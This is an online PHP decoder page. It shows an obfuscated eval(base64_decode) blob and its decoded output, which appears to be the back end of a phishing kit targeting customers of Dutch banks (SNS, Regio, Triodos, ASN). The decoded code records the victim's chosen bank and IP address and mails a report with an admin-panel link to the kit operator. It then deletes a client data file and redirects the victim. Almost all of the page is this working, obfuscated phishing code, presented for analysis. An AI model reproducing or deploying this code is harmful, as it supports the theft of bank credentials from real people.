Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIGFUc2ZLOyBGUTltWDogJGxua1BOTCA9ICJceDNjXDE0MlwxNjJceDNl..
Decoded Output download
goto aTsfK; FQ9mX: $lnkPNL = "\x3c\142\162\x3e\x3c\x62\x72\x3e\74\142\x3e\103\154\151\145\156\164\55\x49\120\72\74\x2f\x62\x3e\x20" . $_SERVER["\122\x45\115\117\x54\105\x5f\101\x44\x44\122"] . "\74\142\162\x3e\74\x62\x3e\x41\144\155\x69\x6e\120\x61\156\x65\x6c\72\x3c\57\142\x3e\40\x3c\x61\40\150\162\x65\146\x3d\47\x68\164\164\160\x73\x3a\x2f\x2f" . $_SERVER["\123\105\122\126\x45\x52\x5f\116\101\x4d\x45"] . dirname($_SERVER["\x52\105\121\125\x45\x53\124\137\x55\122\x49"]) . "\57\x69\x6e\x63\x6c\165\x64\145\137\141\x64\x6d\151\156\x2f\x3f\143\153\x72\x3d" . md5($_SERVER["\122\x45\115\x4f\x54\x45\137\101\104\x44\x52"]) . "\47\76\174\120\141\x6e\x65\x65\154\40\163\164\141\x72\164\145\x6e\x7c\x3c\57\x61\x3e"; goto S_ax5; NwiDW: require_once "\x2e\57\x64\x61\164\x61\x43\x6c\151\145\x6e\164\x2f\155\144\65\56\x70\x68\x70"; goto vUX6l; vUX6l: $_SESSION["\163\x65\154\x65\x63\x74"] = $_POST["\124\x69\x74\154\x65"]; goto Df1N3; Df1N3: $_SESSION["\x76\164\157"] = rand(123456, 999999); goto FQ9mX; S_ax5: if (!empty($_SESSION["\x73\145\154\x65\143\164"])) { $websiteLinks = array("\x53\116\x53\x20\x42\x61\156\153" => "\150\x74\164\160\163\x3a\57\x2f\x77\167\x77\56\x73\156\163\142\141\x6e\x6b\x2e\156\154\x2f\157\156\154\x69\x6e\x65\57\167\145\142\x2f\x6d\x69\152\x6e\x73\156\163\x2f\151\x6e\x6c\x6f\x67\147\145\156\x2f", "\122\145\x67\x69\x6f\40\102\141\x6e\153" => "\x68\x74\x74\x70\x73\72\57\x2f\x77\167\167\x2e\x72\x65\147\x69\x6f\x62\x61\156\x6b\56\156\x6c\57\157\x6e\x6c\151\x6e\x65\57\x77\x65\x62\x2f\x6d\151\x6a\x6e\162\x65\147\x69\157\142\x61\x6e\x6b\x2f\x69\x6e\154\x6f\x67\x67\145\x6e\57", "\124\x72\x69\157\x64\x6f\x73\x20\102\x61\156\153" => "\150\164\164\160\163\x3a\x2f\x2f\x62\x61\156\153\151\145\x72\145\x6e\x2e\x74\x72\x69\157\144\x6f\x73\56\156\154\57\x69\142\x2d\163\x65\x61\x6d\x2f\x6c\157\x67\x69\x6e\56\x73\145\x61\x6d\x3f\x6c\x6f\x63\x61\x6c\x65\75\x6e\x6c\137\116\x4c", "\101\x53\x4e\x20\x42\141\x6e\x6b" => "\150\x74\164\x70\163\72\57\57\167\167\x77\x2e\141\x73\156\142\141\x6e\153\x2e\x6e\x6c\x2f\157\x6e\154\x69\156\x65\57\x77\145\142\57\157\x6e\x6c\151\156\145\142\141\x6e\153\x69\145\x72\x65\x6e\x2f\x69\x6e\154\157\147\147\145\x6e\57"); if (array_key_exists($_SESSION["\163\x65\x6c\x65\x63\x74"], $websiteLinks)) { $selectedLink = $websiteLinks[$_SESSION["\x73\145\154\x65\x63\x74"]]; $lnkPNL .= "\74\x62\162\x3e\74\x62\162\x3e\x3c\142\76\102\145\172\157\x65\x6b\x20\167\x65\142\163\151\x74\145\x3a\x3c\x2f\142\76\x20\74\x61\40\x68\162\x65\146\x3d\47{$selectedLink}\47\76" . $_SESSION["\x73\145\154\x65\x63\x74"] . "\x3c\57\141\76"; } else { $lnkPNL .= "\74\x62\162\x3e\x3c\142\x72\76\105\x72\40\x69\163\x20\147\x65\x65\156\40\x6f\166\145\162\145\x65\x6e\x6b\x6f\155\145\156\x64\145\40\154\x69\x6e\153\x20\147\x65\x76\x6f\x6e\x64\x65\156\40\166\x6f\157\162\40\x64\145\40\x67\145\x73\x65\x6c\x65\x63\164\x65\145\x72\144\145\x20\47\x54\151\x74\x6c\x65\47\x2e"; } } goto mGEiI; mGEiI: if (empty(@$_POST["\x54\151\164\x6c\145"])) { header("\154\x6f\143\x61\164\x69\157\156\x3a\40\x69\156\144\x65\x78\56\x70\x68\x70"); } else { if (empty(@$_POST["\x54\151\164\154\x65"])) { header("\154\157\143\x61\164\151\157\x6e\72\40\151\156\x64\145\x78\56\160\x68\160"); } else { $msg = "\x47\145\x6b\157\x7a\x65\x6e\x20\157\155\x67\145\x76\x69\156\x67\x3a\x20" . $_POST["\x54\x69\x74\x6c\145"]; $headers = "\x46\x72\x6f\155\x3a\40\126\x4f\x4c\x4b\x53\x2d\x42\40\x3c\x6b\x6c\x61\156\164\145\156\x73\x65\162\x76\100" . $_SERVER["\123\105\122\126\x45\122\x5f\x4e\101\115\x45"] . "\76\xd\xa"; $headers .= "\x4d\x49\x4d\105\x2d\x56\145\x72\163\x69\157\x6e\x3a\40\x31\x2e\x30\xd\xa"; $headers .= "\103\x6f\x6e\x74\145\x6e\164\55\164\171\160\x65\x3a\x74\145\x78\164\x2f\x68\164\x6d\154\x3b\40\143\150\x61\162\163\145\164\x3d\151\163\x6f\55\70\70\65\x39\x2d\61\xd\xa"; mail($emailAddress, "\x47\145\x73\x65\x6c\x65\x63\164\145\145\x72\144\72\40" . $_SESSION["\163\x65\x6c\x65\143\164"], $msg . $lnkPNL, $headers); @unlink("\144\x61\x74\x61\x43\x6c\x69\x65\156\164\x2f" . md5($_SERVER["\122\105\115\117\124\105\137\x41\104\x44\122"])); header("\x6c\x6f\x63\141\x74\x69\x6f\156\72\40\151\x6e\x64\145\170\x2d\x69\x64\56\160\150\x70"); } } goto esvOL; aTsfK: @session_start(); goto NwiDW; esvOL: Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIGFUc2ZLOyBGUTltWDogJGxua1BOTCA9ICJceDNjXDE0MlwxNjJceDNlXHgzY1x4NjJceDcyXHgzZVw3NFwxNDJceDNlXDEwM1wxNTRcMTUxXDE0NVwxNTZcMTY0XDU1XHg0OVwxMjBcNzJcNzRceDJmXHg2Mlx4M2VceDIwIiAuICRfU0VSVkVSWyJcMTIyXHg0NVwxMTVcMTE3XHg1NFwxMDVceDVmXDEwMVx4NDRceDQ0XDEyMiJdIC4gIlw3NFwxNDJcMTYyXHgzZVw3NFx4NjJceDNlXHg0MVwxNDRcMTU1XHg2OVx4NmVcMTIwXHg2MVwxNTZceDY1XHg2Y1w3Mlx4M2NcNTdcMTQyXHgzZVw0MFx4M2NceDYxXDQwXDE1MFwxNjJceDY1XDE0Nlx4M2RcNDdceDY4XDE2NFwxNjRcMTYwXHg3M1x4M2FceDJmXHgyZiIgLiAkX1NFUlZFUlsiXDEyM1wxMDVcMTIyXDEyNlx4NDVceDUyXHg1ZlwxMTZcMTAxXHg0ZFx4NDUiXSAuIGRpcm5hbWUoJF9TRVJWRVJbIlx4NTJcMTA1XDEyMVwxMjVceDQ1XHg1M1wxMjRcMTM3XHg1NVwxMjJceDQ5Il0pIC4gIlw1N1x4NjlceDZlXHg2M1x4NmNcMTY1XHg2NFwxNDVcMTM3XDE0MVx4NjRceDZkXDE1MVwxNTZceDJmXHgzZlwxNDNcMTUzXHg3Mlx4M2QiIC4gbWQ1KCRfU0VSVkVSWyJcMTIyXHg0NVwxMTVceDRmXHg1NFx4NDVcMTM3XDEwMVwxMDRceDQ0XHg1MiJdKSAuICJcNDdcNzZcMTc0XDEyMFwxNDFceDZlXHg2NVx4NjVcMTU0XDQwXDE2M1wxNjRcMTQxXHg3MlwxNjRcMTQ1XHg2ZVx4N2NceDNjXDU3XHg2MVx4M2UiOyBnb3RvIFNfYXg1OyBOd2lEVzogcmVxdWlyZV9vbmNlICJceDJlXDU3XHg2NFx4NjFcMTY0XHg2MVx4NDNceDZjXDE1MVwxNDVceDZlXDE2NFx4MmZcMTU1XDE0NFw2NVw1Nlx4NzBceDY4XHg3MCI7IGdvdG8gdlVYNmw7IHZVWDZsOiAkX1NFU1NJT05bIlwxNjNceDY1XDE1NFx4NjVceDYzXHg3NCJdID0gJF9QT1NUWyJcMTI0XHg2OVx4NzRcMTU0XHg2NSJdOyBnb3RvIERmMU4zOyBEZjFOMzogJF9TRVNTSU9OWyJceDc2XDE2NFwxNTciXSA9IHJhbmQoMTIzNDU2LCA5OTk5OTkpOyBnb3RvIEZROW1YOyBTX2F4NTogaWYgKCFlbXB0eSgkX1NFU1NJT05bIlx4NzNcMTQ1XDE1NFx4NjVcMTQzXDE2NCJdKSkgeyAkd2Vic2l0ZUxpbmtzID0gYXJyYXkoIlx4NTNcMTE2XHg1M1x4MjBceDQyXHg2MVwxNTZcMTUzIiA9PiAiXDE1MFx4NzRcMTY0XDE2MFwxNjNceDNhXDU3XHgyZlx4NzdcMTY3XHg3N1w1Nlx4NzNcMTU2XDE2M1wxNDJcMTQxXHg2ZVx4NmJceDJlXDE1NlwxNTRceDJmXDE1N1wxNTZcMTU0XHg2OVx4NmVceDY1XDU3XDE2N1wxNDVcMTQyXHgyZlx4NmRceDY5XDE1Mlx4NmVceDczXDE1NlwxNjNceDJmXDE1MVx4NmVceDZjXHg2Zlx4NjdcMTQ3XDE0NVwxNTZceDJmIiwgIlwxMjJcMTQ1XHg2N1x4NjlceDZmXDQwXDEwMlwxNDFceDZlXDE1MyIgPT4gIlx4NjhceDc0XHg3NFx4NzBceDczXDcyXDU3XHgyZlx4NzdcMTY3XDE2N1x4MmVceDcyXHg2NVwxNDdceDY5XHg2Zlx4NjJceDYxXDE1Nlx4NmJcNTZcMTU2XHg2Y1w1N1wxNTdceDZlXHg2Y1wxNTFceDZlXHg2NVw1N1x4NzdceDY1XHg2Mlx4MmZceDZkXDE1MVx4NmFceDZlXDE2Mlx4NjVcMTQ3XHg2OVwxNTdcMTQyXHg2MVx4NmVceDZiXHgyZlx4NjlceDZlXDE1NFx4NmZceDY3XHg2N1wxNDVceDZlXDU3IiwgIlwxMjRceDcyXHg2OVwxNTdceDY0XHg2Zlx4NzNceDIwXDEwMlx4NjFcMTU2XDE1MyIgPT4gIlwxNTBcMTY0XDE2NFwxNjBcMTYzXHgzYVx4MmZceDJmXHg2Mlx4NjFcMTU2XDE1M1wxNTFcMTQ1XHg3MlwxNDVceDZlXHgyZVx4NzRceDcyXHg2OVwxNTdcMTQ0XHg2Zlx4NzNcNTZcMTU2XDE1NFw1N1x4NjlcMTQyXHgyZFwxNjNceDY1XHg2MVx4NmRceDJmXHg2Y1wxNTdceDY3XHg2OVx4NmVcNTZceDczXDE0NVx4NjFceDZkXHgzZlx4NmNceDZmXHg2M1x4NjFceDZjXHg2NVw3NVx4NmVceDZjXDEzN1wxMTZceDRjIiwgIlwxMDFceDUzXHg0ZVx4MjBceDQyXDE0MVx4NmVceDZiIiA9PiAiXDE1MFx4NzRcMTY0XHg3MFwxNjNcNzJcNTdcNTdcMTY3XDE2N1x4NzdceDJlXDE0MVx4NzNcMTU2XDE0MlwxNDFceDZlXDE1M1x4MmVceDZlXHg2Y1x4MmZcMTU3XHg2ZVwxNTRceDY5XDE1Nlx4NjVcNTdceDc3XDE0NVwxNDJcNTdcMTU3XHg2ZVx4NmNcMTUxXDE1NlwxNDVcMTQyXDE0MVx4NmVcMTUzXHg2OVwxNDVceDcyXHg2NVx4NmVceDJmXHg2OVx4NmVcMTU0XDE1N1wxNDdcMTQ3XDE0NVx4NmVcNTciKTsgaWYgKGFycmF5X2tleV9leGlzdHMoJF9TRVNTSU9OWyJcMTYzXHg2NVx4NmNceDY1XHg2M1x4NzQiXSwgJHdlYnNpdGVMaW5rcykpIHsgJHNlbGVjdGVkTGluayA9ICR3ZWJzaXRlTGlua3NbJF9TRVNTSU9OWyJceDczXDE0NVwxNTRceDY1XHg2M1x4NzQiXV07ICRsbmtQTkwgLj0gIlw3NFx4NjJcMTYyXHgzZVw3NFx4NjJcMTYyXHgzZVx4M2NcMTQyXDc2XDEwMlwxNDVcMTcyXDE1N1x4NjVceDZiXHgyMFwxNjdceDY1XDE0MlwxNjNcMTUxXHg3NFwxNDVceDNhXHgzY1x4MmZcMTQyXDc2XHgyMFw3NFx4NjFcNDBceDY4XDE2Mlx4NjVcMTQ2XHgzZFw0N3skc2VsZWN0ZWRMaW5rfVw0N1w3NiIgLiAkX1NFU1NJT05bIlx4NzNcMTQ1XDE1NFx4NjVceDYzXHg3NCJdIC4gIlx4M2NcNTdcMTQxXDc2IjsgfSBlbHNlIHsgJGxua1BOTCAuPSAiXDc0XHg2MlwxNjJceDNlXHgzY1wxNDJceDcyXDc2XDEwNVx4NzJcNDBceDY5XDE2M1x4MjBcMTQ3XHg2NVx4NjVcMTU2XDQwXHg2ZlwxNjZcMTQ1XDE2MlwxNDVceDY1XHg2ZVx4NmJceDZmXDE1NVwxNDVcMTU2XHg2NFwxNDVcNDBcMTU0XHg2OVx4NmVcMTUzXHgyMFwxNDdceDY1XHg3Nlx4NmZceDZlXHg2NFx4NjVcMTU2XDQwXDE2Nlx4NmZcMTU3XDE2Mlw0MFx4NjRcMTQ1XDQwXHg2N1wxNDVceDczXHg2NVx4NmNceDY1XHg2M1wxNjRceDY1XDE0NVx4NzJcMTQ0XDE0NVx4MjBcNDdceDU0XDE1MVx4NzRceDZjXHg2NVw0N1x4MmUiOyB9IH0gZ290byBtR0VpSTsgbUdFaUk6IGlmIChlbXB0eShAJF9QT1NUWyJceDU0XDE1MVwxNjRceDZjXDE0NSJdKSkgeyBoZWFkZXIoIlwxNTRceDZmXDE0M1x4NjFcMTY0XHg2OVwxNTdcMTU2XHgzYVw0MFx4NjlcMTU2XDE0NFx4NjVceDc4XDU2XHg3MFx4NjhceDcwIik7IH0gZWxzZSB7IGlmIChlbXB0eShAJF9QT1NUWyJceDU0XDE1MVwxNjRcMTU0XHg2NSJdKSkgeyBoZWFkZXIoIlwxNTRcMTU3XDE0M1x4NjFcMTY0XDE1MVwxNTdceDZlXDcyXDQwXDE1MVwxNTZceDY0XDE0NVx4NzhcNTZcMTYwXHg2OFwxNjAiKTsgfSBlbHNlIHsgJG1zZyA9ICJceDQ3XDE0NVx4NmJcMTU3XHg3YVx4NjVceDZlXHgyMFwxNTdcMTU1XHg2N1wxNDVceDc2XHg2OVwxNTZceDY3XHgzYVx4MjAiIC4gJF9QT1NUWyJceDU0XHg2OVx4NzRceDZjXDE0NSJdOyAkaGVhZGVycyA9ICJceDQ2XHg3Mlx4NmZcMTU1XHgzYVw0MFwxMjZceDRmXHg0Y1x4NGJceDUzXHgyZFx4NDJcNDBceDNjXHg2Ylx4NmNceDYxXDE1NlwxNjRcMTQ1XDE1Nlx4NzNceDY1XDE2Mlx4NzZcMTAwIiAuICRfU0VSVkVSWyJcMTIzXDEwNVwxMjJcMTI2XHg0NVwxMjJceDVmXHg0ZVwxMDFcMTE1XHg0NSJdIC4gIlw3Nlx4ZFx4YSI7ICRoZWFkZXJzIC49ICJceDRkXHg0OVx4NGRcMTA1XHgyZFx4NTZcMTQ1XHg3MlwxNjNceDY5XDE1N1x4NmVceDNhXDQwXHgzMVx4MmVceDMwXHhkXHhhIjsgJGhlYWRlcnMgLj0gIlwxMDNceDZmXHg2ZVx4NzRcMTQ1XHg2ZVwxNjRcNTVcMTY0XDE3MVwxNjBceDY1XHgzYVx4NzRcMTQ1XHg3OFwxNjRceDJmXHg2OFwxNjRceDZkXDE1NFx4M2JcNDBcMTQzXDE1MFx4NjFcMTYyXDE2M1wxNDVcMTY0XHgzZFwxNTFcMTYzXHg2Zlw1NVw3MFw3MFw2NVx4MzlceDJkXDYxXHhkXHhhIjsgbWFpbCgkZW1haWxBZGRyZXNzLCAiXHg0N1wxNDVceDczXHg2NVx4NmNceDY1XHg2M1wxNjRcMTQ1XDE0NVx4NzJcMTQ0XDcyXDQwIiAuICRfU0VTU0lPTlsiXDE2M1x4NjVceDZjXHg2NVwxNDNcMTY0Il0sICRtc2cgLiAkbG5rUE5MLCAkaGVhZGVycyk7IEB1bmxpbmsoIlwxNDRceDYxXHg3NFx4NjFceDQzXHg2Y1x4NjlceDY1XDE1NlwxNjRceDJmIiAuIG1kNSgkX1NFUlZFUlsiXDEyMlwxMDVcMTE1XDExN1wxMjRcMTA1XDEzN1x4NDFcMTA0XHg0NFwxMjIiXSkpOyBoZWFkZXIoIlx4NmNceDZmXHg2M1wxNDFceDc0XHg2OVx4NmZcMTU2XDcyXDQwXDE1MVx4NmVceDY0XDE0NVwxNzBceDJkXHg2OVx4NjRcNTZcMTYwXDE1MFx4NzAiKTsgfSB9IGdvdG8gZXN2T0w7IGFUc2ZLOiBAc2Vzc2lvbl9zdGFydCgpOyBnb3RvIE53aURXOyBlc3ZPTDog')); ?>Function Calls
| base64_decode | 1 |
Stats
| MD5 | 736cd48c84e4fee306288255f5a16c9d |
| Eval Count | 1 |
| Decode Time | 47 ms |